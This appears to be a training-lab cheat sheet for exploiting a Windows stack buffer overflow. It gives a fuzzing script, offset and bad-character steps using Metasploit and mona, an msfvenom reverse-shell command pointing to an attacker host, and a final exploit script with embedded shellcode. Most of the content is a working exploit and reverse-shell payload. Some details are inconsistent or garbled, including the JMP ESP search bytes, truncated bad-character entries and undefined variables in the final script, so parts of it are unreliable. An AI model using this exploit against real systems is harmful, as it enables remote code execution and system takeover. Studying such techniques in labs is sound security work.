

Windows Buffer Overflow Steps

● 1: Fuzz

■ fuzz.py

```
#!/usr/bin/env python3
import socket, time, sys
ip = "192.168.110.100"
port = 1234
timeout = 5
prefix = "PREFIX "
postfix="END"
string = prefix + "A" * 100 + postfix
while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout)
            s.connect((ip, port))
            s.recv(1024)
            print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
            s.send(bytes(string, "latin-1"))
            s.recv(1024)
    except:
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)
    string += 100 * "A"
    time.sleep(1)
```

- Record **when** does the application crash, assume it crashes at **1000**

● 2: Find offset

- **msf-pattern_create -l 1000**, add generated pattern string to string
- **string=prefix + pattern + end**
- Assume **EIP=77767574**
- **msf-pattern_offset -l 1000 -q 77767574** or **!mona findmsp** or **!mona findmsp -distance 1000**
- Note the offset, assume it is **988**
- **string=prefix + "A" * 988+"B" * 4+"C" * 8+end**

● 3: Find bad characters

- badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

```

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\x0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\x0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\x0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\x0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

```

- Bad characters affect **the next byte** or even **the rest of the string**
- If bad characters affect the rest string
 - ◆ Manual test
- If bad characters only affect the next byte
 - ◆ !mona bytearray -b "\x00"
 - ◆ !mona compare -a esp -f bytearray.bin
 - ◆ **Typically, they are '/x00'**, and the **1st** one, the **3rd** one, the **5th** one, ... the **(n-1)th** one are actual bad characters. But it is not always the case.
- Assume bad characters are \x00\x07\x2e\xa0

● 4: Find JMP ESP

- **Method 1 (PWK textbook)**
 - ◆ !mona modules
 - ◆ Select a module which does not have any memory protection and does not start with bad character
 - ◆ !mona find -s "\xff\x04" -m "example.dll"
 - ◆ Note the address, assume it is \xaf\x11\x50\x62
 - ◆ string=prefix + "A" * 988 + "\xaf\x11\x50\x62" + "C" * 8 + postfix
- **Method 2 (THM)**
 - ◆ !mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
 - ◆ Select one which does not have any memory protection
 - ◆ Note the address, assume it is \xaf\x11\x50\x62
 - ◆ string=prefix + "A" * 988 + "\xaf\x11\x50\x62" + "C" * 8 + postfix

● 5: Generate Shell Code

- msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.77 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x07\x2e\xa0"
- shellcode="....."
- string=prefix + "A" * 988 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode + postfix

● 6: Combine

■ Final code

```
#!/usr/bin/python
import socket
shellcode = ("\\xbe\\x55\\xe5\\xb6\\x02\\xda\\xc9\\xd9\\x74\\x24\\xf4\\x5a\\x29\\xc9\\xb1"
"\x52\\x31\\x72\\x12\\x03\\x72\\x12\\x83\\x97\\xe1\\x54\\xf7\\xeb\\x02\\x1a"
"\xf8\\x13\\xd3\\x7b\\x70\\xf6\\xe2\\xbb\\xe6\\x73\\x54\\x0c\\x6c\\xd1\\x59"
"\xe7\\x20\\xc1\\xea\\x85\\xec\\xe6\\x5b\\x23\\xcb\\xc9\\x5c\\x18\\x2f\\x48"
"\xdf\\x63\\x7c\\xaa\\xde\\xab\\x71\\xab\\x27\\xd1\\x78\\xf9\\xf0\\x9d\\x2f"
"\xed\\x75\\xeb\\xf3\\x86\\xc6\\xfd\\x73\\x7b\\x9e\\xfc\\x52\\x2a\\x94\\xa6"
"\x74\\xcd\\x79\\xd3\\x3c\\xd5\\x9e\\xde\\xf7\\x6e\\x54\\x94\\x09\\xa6\\xa4"
"\x55\\xa5\\x87\\x08\\xa4\\xb7\\xc0\\xaf\\x57\\xc2\\x38\\xcc\\xea\\xd5\\xff"
"\xae\\x30\\x53\\x1b\\x08\\xb2\\xc3\\xc7\\xa8\\x17\\x95\\x8c\\xa7\\xdc\\xd1"
"\xca\\xab\\xe3\\x36\\x61\\xd7\\x68\\xb9\\xa5\\x51\\x2a\\x9e\\x61\\x39\\xe8"
"\xbf\\x30\\xe7\\x5f\\xbf\\x22\\x48\\x3f\\x65\\x29\\x65\\x54\\x14\\x70\\xe2"
"\x99\\x15\\x8a\\xf2\\xb5\\x2e\\xf9\\xc0\\x1a\\x85\\x95\\x68\\xd2\\x03\\x62"
"\x8e\\xc9\\xf4\\xfc\\x71\\xf2\\x04\\xd5\\xb5\\xa6\\x54\\x4d\\x1f\\xc7\\x3e"
"\x8d\\xa0\\x12\\x90\\xdd\\x0e\\xcd\\x51\\x8d\\xee\\xbd\\x39\\xc7\\xe0\\xe2"
"\x5a\\xe8\\x2a\\x8b\\xf1\\x13\\xbd\\xbe\\x0e\\x1b\\x2f\\xd7\\x12\\x1b\\x4e"
"\x9c\\x9a\\xfd\\x3a\\xf2\\xca\\x56\\xd3\\x6b\\x57\\x2c\\x42\\x73\\x4d\\x49"
"\x44\\xff\\x62\\xae\\x0b\\x08\\x0e\\xbc\\xfc\\xf8\\x45\\x9e\\xab\\x07\\x70"
"\xb6\\x30\\x95\\x1f\\x46\\x3e\\x86\\xb7\\x11\\x17\\x78\\xce\\xf7\\x85\\x23"
"\x78\\xe5\\x57\\xb5\\x43\\xad\\x83\\x06\\x4d\\x2c\\x41\\x32\\x69\\x3e\\x9f"
"\xbb\\x35\\x6a\\x4f\\xea\\xe3\\xc4\\x29\\x44\\x42\\xbe\\xe3\\x3b\\x0c\\x56"
"\x75\\x70\\x8f\\x20\\x7a\\x5d\\x79\\xcc\\xcb\\x08\\x3c\\xf3\\xe4\\xdc\\xc8"
"\x8c\\x18\\x7d\\x36\\x47\\x99\\x8d\\x7d\\xc5\\x88\\x05\\xd8\\x9c\\x88\\x4b"
"\xdb\\x4b\\xce\\x75\\x58\\x79\\xaf\\x81\\x40\\x08\\xaa\\xce\\xc6\\xe1\\xc6"
"\x5f\\xa3\\x05\\x74\\x5f\\xe6")
try:
    print "\nSending evil buffer..."
    buffer= prefix + "A" * 988 + "\\xaf\\x11\\x50\\x62" + "\\x90" * 20 + shellcode
+ postfix
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.110.100", 1337))
    s.send(buffer)
    s.close()
    print "\nDone!"
except:
    print "\nCould not connect!"
```